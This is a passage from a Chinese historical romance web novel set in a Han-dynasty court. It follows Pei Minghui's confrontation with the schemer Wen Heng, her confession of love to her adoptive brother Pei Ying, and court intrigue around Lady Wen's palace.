元光一年,有人冒死到长安举齐国境内有人私挖金矿, 皇帝召问齐王,齐王只说不知齐国内有金矿,可是到底空穴来风,皇帝令裴瑛前往齐国私挖金矿一案,却发现了齐王与其姊私通之事,裴瑛因久久寻不到私采金矿者为谁,但知道若无齐王包庇,光是大张旗鼓探寻矿脉便是一通天难事。 裴瑛便提了齐王王宫的黄门总管来审,一番审讯之下很快黄门总管便招供了,一五一十地将齐王与其姊的事都交代了出来。 裴瑛本欲以此暗中胁迫齐王交代金矿一事,可是还未待他传召,齐王与其姊纷纷自戕的消息便传了过来。 一时之间,风波不断。 而齐王之死,让金矿的线索彻底断了。 而对于金矿与齐王之死,皇帝显然更在乎齐王的死。 这位齐王乃是高祖庶长子的后代,与皇帝的血缘关系已然十分疏远来,兼之齐王又没有儿子,他一死,齐国的土地就顺理成章的又回到了朝堂。 如此,兵不血刃收回土地,皇帝自然高兴。 可是面对民间的流言,皇帝却也不得不有所顾及,强行将此事按了下去,不再追查金矿的事。 说来奇怪,皇帝一收回关于彻查金矿一案的命令,民间汹汹流言也就销声匿迹。 没了皇帝的允准,裴瑛也不得不停下追查,可是就在他回到长安之时,那千里迢迢来长安举报之人业以暴毙。 市井流言再起,过往危机再现,两相叠加之下,便是一场巨大的不可转圜的□□,而这场□□的矛头,指向了裴瑛。 是谁? 是谁。 裴明绘不可置信地抬起眼来,看着温珩言笑晏晏,红色的夕阳落在他的姣好的面皮之上,像是鲜红的血光,浓烈得几乎要滴落下落。 一种无可名状的恐惧攀附上来,沿着她的脊骨,血肉与经脉一寸一寸上攀了上来。 裴明绘现在才明白了,温珩意欲何为。 他是真心想要他们的命,要他们身败名裂。 可温珩有这个能力吗? 裴明绘不禁怀疑,他如此年轻,温家如今业已不复从前辉煌,单单一个他,哪来鼓荡流言的能力? 可是此时终究不是思忖之时,裴明绘只能压下所有的疑惑,直面自己的现在所处的困境。 裴明绘知道,温珩是个疯子,她若不顺着他,焉知他会发什么疯。 他若发了疯,将自己的情谊昭告天下,裴瑛会怎么看她,这天下人又会怎么看裴瑛? 若只是偏见歧视也就罢了,可是偏偏朝野民间暗潮涌动,倒是只怕是潜流当有合流之势,接着当初强行压下的旧案一齐攻讦而来,如今有没了皇帝的既往的信任,裴瑛纵居高位,怕也是力不从心了。 温珩的笑容流着蜜一般的甜,裴明绘这才知道了什么叫口蜜腹剑,可是剑已经架在了她的脖子上。 她该怎么办? 她该怎么办! 巨大的心理压迫之下,裴明绘的所有预设的心理防线悉数崩溃,她缓缓抬起头来,声音颤抖着:“你想要什么……” “终于承认了?” 温珩面上虽然笑得愈加灿烂,但是凤眸里的阴暗却更甚。 他似乎并没有以为逼迫成功而更加高兴,周身反而多了一分阴郁。 “你也知道,裴瑛是我的政敌,我与裴瑛视若水火,我虽居此位,却也不得再度晋升,其间多数都是裴大人的功劳。” 温珩抱臂,凝着一丝笑。 “可是我到底对小姐有着几分情谊,不若小姐帮我个忙,也帮自己个忙,劝裴瑛退下去罢。到时候,小姐大可与裴大人作对鸳鸯,自在逍遥去,不必为流言所格。” 流言…… 裴明绘心如死灰。 她不是傻子,裴瑛若真的退下去,他们二人便是温珩砧板上的鱼肉,死路一条。 怪不得美人计也位在三十六计里,自己也在神不知鬼不觉里踏入了温柔乡美人计里,前一步是绝路,退一步是死路,左支右绌不得转圜。 她只能看着,看着温珩一步一步逼近,那张娇美的面容泛着恐怖的血光,他的呼吸近在咫尺,落在她紧绷的面上,泛着幽幽的香。 她一步一步后退,绣履踩在石子路上,颤巍巍得像是没有踩在实处。 “不行……” 她面色苍白,嘴唇嗫喏。 “在朝虽好,限制却多。”温珩却继续逼近,附在她的耳侧,柔声劝道,“我知裴大人脾性,自然不肯听妹妹的话轻易退下去,不妨小姐与我里应外合……” 温珩话还没说话完,一只利簪横空而来,直直扎上温珩的脖子,可温珩习武多年,焉又会被轻易刺中,他抬手一挡,尖锐的发簪瞬间刺入手骨,血珠迸溅! 裴明绘原以为温珩虽然记恨于自己的两个耳光,但又能记仇到何种地步,但是她显然忘了他是个何其小心眼的人。 而温珩自从上次挨了裴明绘的巴掌,他只在心里记了仇,却也忘了裴明绘绝不会是个束手以待的人。 她是一个在冲动之下将不计后果的人。 尤其是在有关裴瑛的事情上。 更有温珩将其逼之绝路,她无路可走,自然铤而走险,将其一同拉下地狱。 “我就是喜欢我哥哥,那又怎么样怎么样,干碍你什么事了!我又不是喜欢你,你怎么这么多事!今日我且明白告诉你,我哪怕去死,也不会陷害于他!” 裴明绘眸光闪动,见一击不中,便又拔下一簪,狠狠朝他心口扎去。 “既然你屡次相逼欲致我兄妹于死地,那不如你我二人今日俱死在此处,也好为我哥哥铺路!” 温珩艳丽的面容顿时闪过错愕,看着裴明绘一瞬间爆发,几乎是没有转换的时间,她美丽的面容立即就被狠厉杀伐之果断所占据,在无丝毫初见那段时日的温柔款款欲拒还休。 这个似乎才是隐藏在阴影之后真正的她。 簪首在夕阳最后的余晖下闪着寒冷的辉光,高高举起,又重重扎下。 左右杀死他之后,她被捕之后便诉说二人私情,温珩背弃她另寻她妇,自己爱而不得方才痛下杀手。 是你自找的! 可是原本准备抬手夺簪的温珩不知为何不动了,而就在簪手刺破丝绸,没入血肉的那一刻,她的手腕被一只冰冷的手重重地握住了。 她猛然回手,便撞见裴瑛的一双眼眸,它冰冷得得就像是极北之地的狂风呼啸在一望无际的雪原之上。 一瞬间,空气似乎凝固了,沉重压抑到让人无法呼吸,脑中一片空白,竟不知自己身在何处,又为何在这里。 为什么……他会来…… 带着秋露的冷风缭乱地吹起她的发丝,草叶枯叶横飞在地。 腕上又是一重,裴明绘就被强行拎了起来,而后重重地摔在地上,她在地上滚了几滚,才堪堪停住。 她堪堪撑起身体来,就对上裴瑛的眼神。 这一刻,裴明绘才知道什么叫做生不如死,她从未见过这样的裴瑛。 他将躺在地上装柔弱装受伤的温珩强行拽了起来。 就听身后脚步嘈杂,裴明绘猛然回头,就见而皇帝领着一众大臣走了过来,其后华盖羽扇迤逦而来,众人见得如此场景便纷纷停住了脚。 “这是怎么了,怎么在地上躺着。” 皇帝关切地看向在地上躺着的裴明绘,挥了挥便示意左右将她拉了起来。 裴明绘的目光死死看向裴瑛的方向,就见裴瑛温珩一同向皇帝行礼,或者说,是裴瑛摁着温珩跪拜行礼。 “温爱卿的手这是怎么了。” 皇帝的目光落在他鲜血淋漓的手上,长眉便皱了起来,似乎不明白这里到底发生了什么。 身边的臣子哪个不知是温珩是天子近臣,皇帝宠臣,目下也跟着一同关心起来。 “温大人这是怎么了诶?” “快快快,快给温大人包扎!” 裴瑛不动声色,先行拿出手巾摁住温珩手中的伤处,而后牵住手巾两端,手中暗暗用力,将其绑缚在他的手上,看似柔和,实在用力不知几多,以至于布帛都有碎裂之险。 “温大人还是一贯粗心大意,怕是想多了美事,却忘了脚下的路该怎么走了。” 裴瑛的声音温柔可亲,以上司的身份关切着下属。 温珩抬眸,便对上裴瑛笑里藏刀的眼眸,两相对视便撞出火花来。 一瞬之间,寒风起,秋叶簌簌纷纷坠地。 “多谢裴大人关心。” 温珩正欲强行抽出手来,却被裴瑛死死摁着,隐隐间,传来骨骼响动之声,温珩的笑意瞬间凝固在脸上,额头沁出冷汗。 “此去看样子当是去黛云殿的路,温大人百忙之中竟能有时间看望温夫人,爱姊之心实所共鉴。”裴瑛笑吟吟地说道。 “多谢裴大人提醒。” 温珩就算善于隐藏痛苦,可是腕骨移位之苦确实叫他一番好受。 “裴大人一直关心下官,怕是裴小姐要吃味了。” 温珩于疼痛难忍之际尚艰难地挤出一丝笑来与裴瑛“寒暄”。 第47章 迷津失渡 裴瑛有一瞬间像褪去了温和的假象, 但是皇帝的注视尚在,他很快就又将面具戴了回去。 “温大人客气了,你我同在朝堂为陛下效力, 此为国事大事,舍妹一贯懂事, 断不会为此吃味。” 裴瑛平静地说道。 听见二人交谈还是明里上下和谐暗里针锋相对,皇帝对此早已习以为常,便也没将此事放在心上,笑呵呵叫他们走路小心莫再摔了,便领着一众人等乌泱泱地去了。 喧闹尽去,只剩下裴瑛, 温珩和裴明绘三人无声地对峙着。 温珩正欲说什么, 颈上忽然一阵剧痛,眼前顿时便是一片黑暗。 他重重地往前跌去,裴映则冷漠地看着,一阵秋风吹过, 黄叶飘飞, 裴瑛缓缓抬起眼帘, 复杂莫测的眸光沉沉落在裴明绘的身上,如有千钧重,她的脊背瞬间就弯折下来,瘦削的肩头也塌了下来。 柔弱躯体似乎在这一刻在萎靡得成了枯瘦的草茎, 悠悠地挂在宽大深衣里,似乎有一阵小风就可以把她吹到天边去。 可裴瑛看着她,不住晃动的眼瞳说明他也在经历剧烈的心理斗争。 过往记忆入潮水而来, 一下子淹没了他。 他似乎什么都明白了,明白她的谎言, 明白了她的隐瞒,明白了她与温珩究竟是什么关系。 原来,温珩不过是个遮瞒谎言的幌子罢了,她一直图谋的,并非是温珩。 过去的一切历历在目,二人的几次争执也不由浮上脑海。 她口口声声说喜欢温珩,是为其美色所惑,他也信以为真,只当温珩居心叵测图谋不轨。 却万万不曾想到…… 裴瑛的神色几经变换,终于暗了下来,眼神望进她几乎绝望的眼底,看清了她满是畏惧的眼神。 他长久地闭上了眼睛。 裴明绘绝望地看着他,她万万没有想到,自己竟然自己承认自己对哥哥有着非分之想。 自己亲口承认的,便也就没了转圜的余地。 何其愚蠢,何其可笑。 终究是造化弄人,天意难测。 裴明绘有一瞬间想笑,可是下一瞬却又想哭出来。 她该怎么办? 余晖散尽,星汉在天。 悬在枝头的风灯随风摇晃,光亮透过镂刻着花鸟的灯罩落了下来,纵横交织的光影将二人之间的距离分割成千千万万片,又在摇晃中将他们的身影拉长,最后无声地交叠在一起。 微凉潮湿的凤拂过裴瑛的面容,他缓缓地睁开眼睛,看着她只呆愣愣地看着自己,泪痕业已风干,只枯着一双眼睛一眨也不眨地看着他。 裴瑛似乎有什么话要说,却又什么都没有说。 裴明绘的嘴唇嗫喏着,想要说什么,可是也什么都说不出口。 为什么会这样呢? 裴瑛终究闭上眼睛,转身就要走。 为什么呢? 为什么要在她行将放下的时候将它戳破呢? 看着裴瑛走远,她的心骤然空了起来,恐惧铺天盖地而来,让她失语。 她知道,他知道了,什么都知道了。 可是,她永远都不能失去他,就算死,她也不能失去他。 裙裾飞扬在冷寂的夜色里,绣履匆匆踩过黄草枯叶,将它们干枯的叶脉与叶片踩成数不清的细小的碎片,她踏过迷离不定的光影,猛地从身后抱住了裴瑛,她的脸紧紧贴在他的背上。 “哥哥别走。” 她的声音带着哭腔,带着颤抖,带着恐惧。 她真的好害怕裴瑛离开她,哪怕只是想一想,就怕到不行。 “子吟,松开罢。” 裴瑛的声音虽然可以维持平静,却也不复往日从容,像是秋风中瑟瑟欲坠的叶一般,流露出一丝压抑不住的颤抖。 “哥哥……” 裴明绘的心顿时一片冰凉,绝望的泪水洇透了他的衣衫。 裴瑛冰凉的手覆在她的手上,微微用力,便松开了她的钳制,一瞬间,裴明绘似乎失去了所有的力量,缓缓跪倒在地,仰着头,看着他。 “子吟,你还小,分不清感情。” 裴瑛转过身来,单膝跪地,一只手抚住她的脸颊,修长的指节缓缓擦去她冰冷的泪水,目睹她的令人悲伤的恐惧。 “这不算什么的,子吟,别哭了。” 这不算什么吗? 原来,她在裴瑛眼里,还只是分不清亲情与爱情的小妹妹吗? 原来,她的爱,在他眼里算不得什么吗? 裴瑛看着她令人心碎的绝望,终是不忍,压下心头剧烈起伏的波澜,继续柔声劝慰引导着她,“可你是我最重要的人,这远比情爱更重要不是吗?” 裴明绘冰凉得没有一丝温度的手慢慢抚住他的手,圆圆的眼睛里蓄满了晶莹的泪水,眼眶通红,像是胭脂晕在水中。 “可是哥哥,我分得清,我也明白什么是兄妹之情,什么是男女之爱,我已经不是小孩子了,我已经长大了。”裴明绘目不转睛地看着裴瑛,凝着多年情丝的泪水再度落了下来,顺着脸颊滑落,落在裴瑛的手上,“我爱你,我深深地爱着你,这不只是妹妹的孺慕之情。我知道,我明白。难道哥哥还要装傻吗?” “……” 裴瑛的动作顿了顿,罕见地不知道该怎么说。 他的身形像是定住了一般,冷风盈满宽袖,墨色长发随风飘扬,颀长优雅的身形长长久久地僵在原地。 他漆黑漂亮的眼睛直直看着裴明绘,看着她泪流满面伤心欲绝。 怎么可以呢? 这不可以的。 她年纪小,未曾经事,难道自己这个做哥哥的还不知道吗? “不,你不知道。” 裴瑛郑重地回复道。 “不,我知道。” 心底的汹涌的感情一次一次被否定,数年来压制的感情如同涛涛洪水一般冲破了名为亲情的防线,以不可阻挡之势冲击而来,摧毁了她的理智与克制。 “我爱你,我想和你在一起。” 梦里重复了千千万万遍的话,今日终于说出了口,这些满是爱意与渴望的话语,借着冰冷的夜风送到了裴瑛耳中。 “子吟,这不可能的。” 冷寂月光落在他苍白的面上,勾勒出沉静古雅的轮廓,他的身体僵硬,像是被冻住了一般。 “我们是兄妹,我们同在族谱之中,我们是名正言顺的兄妹。” “为什么不可能,我们不是真的兄妹,我们没有血缘关系。” 裴明绘的仰着头,无比希冀地看着他,期盼从他的眼神与动作中读出一丝她想要的情感与回应。 为什么不可以呢? 只要他有一丝一毫爱她,她宁愿做哪扑火的飞蛾,就算粉身碎骨也在所不惜。 “可你是我的妹妹,我是你的兄长,这与血缘无关。” 裴瑛凝神注视着她,再一次回绝了她。 “可只是兄妹的关系吗?”裴明绘呆呆地看着裴瑛,看着月光与泪光之下,他清晰又模糊的脸,“难道数年来,一丝一毫的爱都没有吗?” “你是我的妹妹,这是天注定的。” 裴瑛用衣袖擦去她的泪水,温柔地对她说着无比伤其心的话。 “天注定天注定!可我不是你的亲妹妹啊。”裴明绘拼命地摇着头,泣不成声,她抱着头,不想听裴瑛的话,哭到颤抖,哭到窒息。 他垂眸看着她,看着她如此痛苦,他的内心却也是翻腾不休。 为什么呢? 到底哪里出错了? 难道天底下的兄妹不都是这样吗? 究竟是谁误入了歧途,又是谁失在津渡? 裴瑛是无比在乎她的,又怎么忍心见她如此痛苦。 一瞬间,退让的话险些说出口。 秋夜的风,带着夜露的潮气,悠荡在这片寂静的林子里,带起簌簌叶声,恍惚间听闻,竟像是女子的呜咽之声。 裴瑛每一次呼吸,微凉的水汽便沁入他的肺腑,将他从失去理智的边缘拽了回来。 “你永远都是我的妹妹。” 裴瑛温柔地重复道,温柔地再度伤着她的心。 他的话宛若一股无形的压力,山一般地压在裴明绘的心头,让她喘不过气来。 几乎窒息的束缚之下,裴明绘嘶声道。 “可我不要当你的妹妹。” “可如今你就是我的妹妹,这不可更改。” 眼见裴明绘的情绪越来越不可控,裴瑛将她抱进怀里,试图安慰她的情绪。 可是却被裴明绘一把推开,她死死盯着裴瑛,最后失声痛哭:“我哪里不如她……” “你胜过任何人。”裴瑛见她情绪已然失控,眼疾手快一把拉住裴明绘的手腕,一用力便将她拉进自己的怀里,而后长臂一拢,便将她锁在自己的怀里,她反抗的两条手臂也一同禁锢在他的臂弯里,不论她怎么挣扎都无济于事,裴瑛玄色的朝服袖子顺势覆住她的颤抖的脊背,像是披风一般替她挡住夜风。 “我告诉过你的,任何人都无法与你相比。” 沉静的,不可动摇的话语传进她的耳朵里,却依旧没有办法让她冷静下来,裴瑛担心她情绪激动过度,会对她的心智不好,遂再度温声劝道:“子吟,不要想这些了好吗?难道我们现在不好吗?” 裴明绘眼眸朦胧,水雾遮光,眼眶泛起红晕,瘦削的肩膀颤抖不停,若非裴瑛压制,她定然又要挣扎起来。 裴瑛闭了闭眼,随即抬手打在她的颈上,力度掌握得刚刚好,裴明绘的身体渐渐软了下来,脑袋也伏在裴瑛的肩上,不再动弹。 裴瑛久久地闭上眼睛,月光浮漾在他纤长的睫羽之上,流动跳跃着银光。 他又睁开了眼睛,月光便从眼睫的罅隙处漏了进去,照亮掩藏在深处的情感。 别怕,别怕,他的手竟然在颤抖,一下接着一下抚摸着她的脊背。 而后,修长的手指穿过了她冰冷柔滑的发丝,缓缓扣紧她的后脑,让她深深嵌入自己的怀里。 一个温珩罢了,为兄很快就会将他除掉。 树叶风动,婆娑不止。 瞬息之间,裴瑛所有情绪收入眸中,漆黑的眸子流露出冷冽而又危险的光,穿过枝叶层叠的树荫,无声却又危险地警告来人。 草丛摇动,似有慌张践踏枯草落叶的声音传来,看来暗中窥伺之人已然匆地跑开了。 第48章 愤怒的裴大人 等到裴明绘再次醒来的时候, 天业已亮起光亮来,它透过光洁的窗子上的绢布,又穿过床帏的交织经纬线, 轻柔地落在她微微涣散的眼眸之中,照亮她眼底的混沌与疲累。 她怔怔地盯着帐顶, 一直盯到眼睛发涩发酸,方才转过头来,一转过头,便见裴瑛依旧在此处守着。 她的神思立马回拢,回想起了昨夜那勘破情谊之后绝望的争执。 裴瑛业已换下朝服,只一袭白色的不染尘埃的衣袍, 同色缀着暖玉的云纹腰带勾勒男人本就窄而劲的腰身, 如锦缎一般的墨发只用一根发带束着。 他就坐在长案之后,兀自沉默着,听得被衾响动之声,便站起身来, 走了过来, 撩衣在裴明绘榻上坐好, 将她扶了起来。 “可还头疼?” 裴明绘只垂着头,乌黑的发丝垂了下来,挡住了她的脸。 她摇了摇头,并不说话。 裴瑛也不多说什么, 只从小几上拿起一朱漆小碗来,里头盛着尚冒着热气的鸡汤,一只漆勺搁在里面。 “来, 先喝点东西。”裴瑛将碗递到裴明绘手中。 裴明绘依旧不说话,只默默接了过来, 小口小口地用勺子喝着。 “长安不安定,为兄已安排妥当,三日之后你便启程回河东去罢。至于在长安的产业,为兄自会安排妥当,此事你也不必操心。” 裴明绘的身体骤然一僵,她不可置信地回过头去,看着裴瑛,颤声道,“哥哥要送我走?” 裴瑛垂下眼帘:“长安是非之地,不可久留。” “真的是这样吗?” 裴明绘的眼睛睁得大大的,一眨也不眨。 “自然。” 裴瑛道。 裴明绘知道裴瑛是一个撒谎都不打腹稿之人,就算是说着与事实有着天壤之别的谎话,他也依旧从容自在,就算知情人也怕是要被他糊弄过去了。 可是裴明绘不是,她知道裴瑛的脾性,也知道他送她走,定然是为着自己对他那违逆伦常的感情。 他为什么总是把她当成什么都不懂的小孩子。 肉眼可见的,众所周知的,她已经是大人了,她能够处理很多困难的事,她能够游刃有余地解决商事上的困难,对付来自同行的刁难并予以反击。 她抬头对上裴瑛的眼睛,睁得大而圆的眼睛不住地晃动着,他的身影落进去,像是微微摇曳的碧色的竹影。 可是竹叶未动,那是她的心动。 这场感情里,只有她独自为此迷茫着,痛苦着,而他却只是一个旁观者。 “骗人!” 裴明绘的情绪一下子失控了,她将手中碗摔在地上,漆碗瞬间四分五裂。 “你分明就是不想再见到我,你骗人骗人骗人!” “为兄并未欺骗你,其间缘由你也知道,以温珩为首的一干人近来猖獗非常,你在此处有危险。” 裴瑛语气柔和地劝着,不似说谎。 “我不会不见你的。” “我不走,凭什么你要我走便走,要我来便来!我不走!” 裴明绘赤足下地,踩过锋利的漆碗碎片,顿时鲜血淋漓。可她却如完全感受不到痛苦一般赤着脚走来走去,像是热锅上的蚂蚁,很焦急,却又不知走向何处。 这抹鲜艳刺目的红色映入裴瑛眼中,霎时间,他眼神便暗了下来,立即起身,走了过去。 “别动了。” 裴瑛沉声警告道。 “我不走,就算是哥哥强送我去河东,我也不去。” 可是裴明绘却也不听他的,见他来抓她,便以为裴瑛要用强将她捆去河东,便遂跑到彩绘双面多扇板障屏风之后。 雕花屏风高五尺,宽一丈三尺,能遮人,每扇都精心彩绘着花鸟鱼虫,各路花纹精致非常。 她走过之处,便是点点鲜红,像是红梅绽放一般。 裴瑛登时蹙起了眉,眼神愈加阴沉,显然他已经被激怒了:“这可由不得你。” 他带着不容抗拒的气息,一步一步逼近,但奈何裴明绘如今却好似吃了熊心豹子胆,竟也不听他的。 裴瑛似乎也是气极了,一伸手抓她却竟也被她逃开了,裴瑛便也抬脚追上去,她却也只与他围着这屏风兜圈子。 一时之间,裴瑛竟也没抓住她。 “站住!” 裴瑛似乎并不愿意在这个时候陪她玩老鹰捉小鸡的游戏,眉头愈加蹙了起来。 眼见自己要被抓住,裴瑛的脸色也越来越不好看,裴明绘方才慌了,连忙说道。 “哥哥若要逼我,我就撞死在柱子上!” 她不说还好,一说裴瑛顿时顿住了脚。 裴明绘起先以为自己的威胁有了作用,一回头却又撞见了他的眼睛。 她的嘴唇张了张,一种无形的恐惧如流水般缠绕而来,竟让她说不出话来。 整个屋子里的气压似乎也低了下去,阴沉沉得似乎暴雨将至。 “不是的……” 裴明绘立马捂住了嘴,这下真的害怕了,她一时气上心头不仅忤逆了兄长,甚至口不择言说了激怒兄长的话,这下子怕是真的完蛋了。 “我错了,哥哥,我不说这个了,我不是这个意思,我……我我先走了,你……你先歇会儿消消气……” 她转身就跑,借着屏风的阻挡先行走了一步,可是耳边一声剧烈的声响传来,原本坚固精美的屏风应声断为数截,哗啦啦倒在地上,屋中蜉蝣不安地悠荡着。 裴明绘听闻耳边似有风声传来,她还没来的及回头,整个人瞬间便被摁着半跪在地上。 裴瑛一只手将她的两只手摁在背后,另一手强行摁着她的肩膀,让她不能有丝毫的动弹。 原本清而幽的冷香馥郁到令人窒息,裴明绘知道,裴瑛是发了真怒。 完蛋了。 裴明绘方才从崩溃中知道了绝望为何。 裴瑛却并不着急说话,伸手拽住自己发带的一端,微一用力,白色云纹发带便顺滑地被他取了下来。 洁白的锦缎先绕过她的拇指,仔细地又在手腕上各绕了四圈,又缠绕手掌四圈,子手背出拉过食指和中指又是两圈,而后又绕过手心缠绕住另外手指,最受斜拉住手腕固定绑好。 如此手法,就算是身负武功之人也得费一番力气,更何况一个手无缚鸡之力的弱女子呢? 但发带却又绑得刚刚好,不会让裴明绘感到疼痛。 裴瑛将裴明绘绑好之后,方才起身,去到柜子处拉开了抽屉,自里面拿出伤药与绢布,又走回来,单膝在裴明绘身前跪下。 他垂下眼来,仔细将裴明绘鲜血淋漓的脚包扎好。 裴明绘看着裴瑛的目光落在自己脚底,一言不发。 可就在他抬起眼帘对上裴明绘的视线的时候,裴明绘一个骨冷,转身就站起来,却又被裴瑛一把拽住脚踝,生生又给拖了回来。 裴瑛冷峻优雅的面容近在咫尺,冰冷修长的手指掐住她的下颌,吐息间尽是骇人压迫感,原本清润温柔的声音冷冽得像是呼啸的冬风;“裴子吟,永远别用你的性命来威胁我,也不要用你的性命作为筹码。” “我当初千辛万苦才救下你,将你养育长大,不是为了让你去死的。” 裴瑛的话冷峻而又威严,他的手卡住她的下颌,另一只手将她束缚在身前。 “裴子吟,这不算什么,不是吗?” 裴瑛复述道。 “这只是妹妹对兄长的孺慕之情,你尚年轻,自然分不清,明白吗。” 裴瑛的话如磐石一般不可转移,恰如其心一般不动不摇。 他不是要裴明绘明白,而是要她就这般想,强迫她将自己的话灌输进脑海里,逼迫她压下心中的情感。 裴明绘只流着泪,想要挣脱,却丝毫动弹不得。 “好了,你一日都不曾用饭,来吃些东西罢。” 裴瑛刚松开裴明绘,裴明绘立即挣扎着想要从裴瑛怀里站起来。 裴瑛微微用力一拽她的衣袖,她就用摔了回去。 “不……” 裴明绘的泪水落下洇透衣衫,这薄薄的白色裙子用同色腰带勾勒出不盈一握的细腰,乌发倾落。 “哥哥,你怎么可以这么对我?你是不是把我当成傻子,一个只知道叫哥哥的傻妹妹。” 裴瑛垂下眼眸看着她,目光业已不复怒意,而是沉静得看着裴明绘,看着这个自己最为疼爱的妹妹。 这不过是少女的情丝,于事无碍。 只要纠正就好了。 他可以容纳,可以原谅她的错误,她的忤逆,她的愤怒,她的一切。 这是做兄长的责任与义务。 “迷途知返罢,子吟。” 裴瑛走了过去,他的眸光满是仁慈与疼爱,这是独属于裴明绘的情绪与温柔。 为什么呢? 为什么老天让她爱上自己的哥哥呢? 又为什么让她在要回头的时候将情丝勘破呢? 为什么为什么! 为什么裴瑛将自己当做小孩子,为什么轻视她的爱,为什么否认她的爱。 裴瑛慢慢地抱住了她,像仁慈的神仙包容误入歧途之人一般。 “子吟,我会原谅的一切,因为你是我的妹妹。” 裴明绘深深地将头埋在膝盖之上,痛苦到颤抖,无声地颤抖,从身到心,无一处不痛苦。 * 月光明亮到惨白,照在裴瑛的身上,将藏在内心深处的情绪照得明亮。 冷风盈袖,裴瑛负起手来,仰头便见明月,月光落进眸底,清澈而又模糊。 你看得清吗? 内心一句声音传来,裴瑛的目光瞬间犀利起来。 “我劝你不要多管闲事。” 裴瑛无端说了一句警告之欲,猛地一挥衣袖,带起一阵冰冷的凤,便大步往书房走去。 裴瑛搴开珠帘,叮咚悦耳的珠玉相撞之声回荡在清凉微冷的秋日夏夜里,晚蝉声激,秋叶簌簌。 既然温珩屡次三番来找裴明绘的麻烦,甚至逼得裴明绘以死相逼,那他便叫温珩尝尝自食苦果的滋味。 裴瑛本非一个对血腥有着直白渴望的人,但是若涉及裴明绘,他竟在心底有了对狠毒的渴望。 温珩打破他们兄妹二人之间既有的秩序,以致于兄妹离心,有如此之事。 他将所有的错误都归咎到了温珩身上。 可他心里知道,温珩只是一个引子。 裴瑛抚过自己白衣袖口的镶边,那微微突出之处就像是他心里的异样一般,直白地感受了什么不对之处,但是他却不知道其在何处。 他做这一切,都是为了裴明绘好,他为兄长,将裴明绘从□□的道路上引领回来是他的责任。 他细细整理在衣服上的褶皱,很是细致,就像是平时整理典籍奏章一般,可是却又没明了的烦躁。 他的脸色苍白,月光落在上面,像是落了一层微冷的霜。 突然,树叶摇动枝叶相撞,簌簌之声次第传来,随后黑暗里传来轻声踩地之声。 隐匿在心底深处的暴躁与偏激一下从血肉中生长出来,不由分说,裴瑛直接将桌案上的公文重重砸了过去,就听猛地砸地之声。 很快,这最后一点声音也消失不见。 连聒噪的晚蝉也不再喧闹。 风也不在流动。 谁也不敢去搅扰裴大人。 第49章 裴瑛不出手则已,如若出手,则定然叫他死无葬身之地。 长安是汉朝的都城, 自然而言,长安的市井也是流言最大的集散地,每天零碎的消息传进去, 出来一个完整的抓心挠肝的流言。 除了流传已久的市井《南山》,另一首歌谣也从长安街坊传了出来, 而相比于《南山》并没有指向性,这首特地编纂暗讽宫廷秘史的歌谣很快成为了长安百姓的饭后谈资。 很快,这首歌谣流传到了朝廷,又百转千回地传到了皇帝近臣的耳中,而这位近臣一贯又与温珩不睦,便仔细斟酌了用词到了宣室殿, 将其上达天听。 夜里秋雾悄然蔓延开来, 静静流动在桃林之中,而后攀上黛云殿的阶梯,阴冷潮湿的雾气让在殿外打着盹宫娥碧娘陡然惊醒,她搓了搓双臂让自己稍微暖和一点。 “别打盹了, 等会娘娘该出来了。” 另一个宫娥走了过来, 推了推碧娘的肩膀。 碧娘揉了揉眼睛, 伸着懒腰打了个哈欠:“知道了知道了,左右也是无人来,我打个盹也没人看见。” “左右有没有人看见,这夜雾起来了, 你在这儿睡觉小心着凉,着凉了又要我替你守夜了。” “知道了好姐姐。”碧娘调皮地冲着她吐了吐舌头,又搓了搓手, 后又将手缩进了袖子里面来躲避外头的寒风。 正在二人说话的功夫,黛云殿里的温夫人已将三皇子哄睡, 宫娥将帐子放下,却又被温夫人抬手挡住。 借着灯烛微弱的光线,温夫人看着三皇子稚嫩而恬静的睡颜,脸颊粉扑扑的,十分可爱。 见他正睡得香甜,温夫人不由露出了舒心的笑容,她放下水,帐子也就如同流水一般落了下来,遮住了光线。 她屏退宫娥侍女,就在这夜深人静里,她就坐在孩子的旁边,安安静静的,不知道再想些什么,可是不久,她就流了泪。 她想起了自己那个早早夭亡的孩儿,当初温珩犯下大罪,自己不顾身怀六甲向陛下求情,自己身子本就弱,艰难诞下麟儿却不能保下他。 每每想起来,温夫人便痛彻心扉到不能自已,以至于愈发憔悴,再也没了以前桃花般艳丽的容颜。 而皇帝起先尚且关心于她,可是随着时间的挪移,他对她的爱,也伴随着她容颜的枯萎而一同消失了。 无数的独守长夜的寂静日子里,她只能独自消化着白日里的浮华喧闹,承受着来自皇帝新宠李夫人的嘲讽,若非谢皇后屡加制衡于李氏,她都不敢想自己的日子会有多么难过。 可是谢皇后虽然贵为皇后,却也屡屡被李氏挑衅,而陛下也总是袒护那个千娇百媚的李夫人。 有的时候,她总是再想,在这深深宫闱里,是没有道理的,而唯一的道理,便是陛下的宠爱,在这里只要拥有了陛下的宠爱,就能拥有一切。 废后陈氏虽乃太主之女,却也被废弃幽居长门宫,而谢皇后舞女出身,因得陛下心意而封为皇后,自己虽为后起之秀,却也因得到陛下的宠爱,而得以惠及父兄,甚至几曾压了皇后的风头。 可是恩爱不长久,娇艳的李夫人入了宫,自己也就只能枯守在日渐覆尘的黛云殿里。 可是李夫人殁了,他的孩子便交给了无子的温夫人抚养。 温夫人无比疼爱这个孩子,她暗暗发誓,自己定要好好对待这个孩子,尽一个母亲的职责,给这个孩子最好的爱。 夜雾宛若白绢,殿阶下的蟋蟀悲哀地叫着,一声接着一声,几乎没有间隙,像是涓涓流水一般。 宫娥碧娘又打了盹,坐在殿阶上靠着一旁的柱子一下接着一下磕着头,瑟瑟秋风分外催人眠,不一会而她就睡着了。 “陛下驾到——” 黄门尖锐的声音一下惊碎了碧娘寒凉的梦,她猛地站了起来,就见皇帝的仪仗已然尽在眼前,她慌忙站起来,重重叩头。 玄金色的衣袍瑟瑟有声,带起一阵沁着寒霜的风便就过去了,而后是宫娥郎中的踏踏脚步之声。 碧娘很是高兴,以为自家娘娘终于可以重获圣恩了,自己也可以回到过去那个众人羡慕的日子里。 “陛下来了?” 温夫人本就在榻上辗转难免,骤闻宫人传唤,惊喜无措地从榻上起来,吩咐宫娥更衣梳妆,可是她还未做到镜台之前,皇帝便已到了内殿。 “陛下……” 温夫人先是喜不自胜,却有惊觉自己尚未梳妆,如此憔悴模样,若是陛下见了定然不喜,慌忙间便以袖遮面,盈盈拜倒。 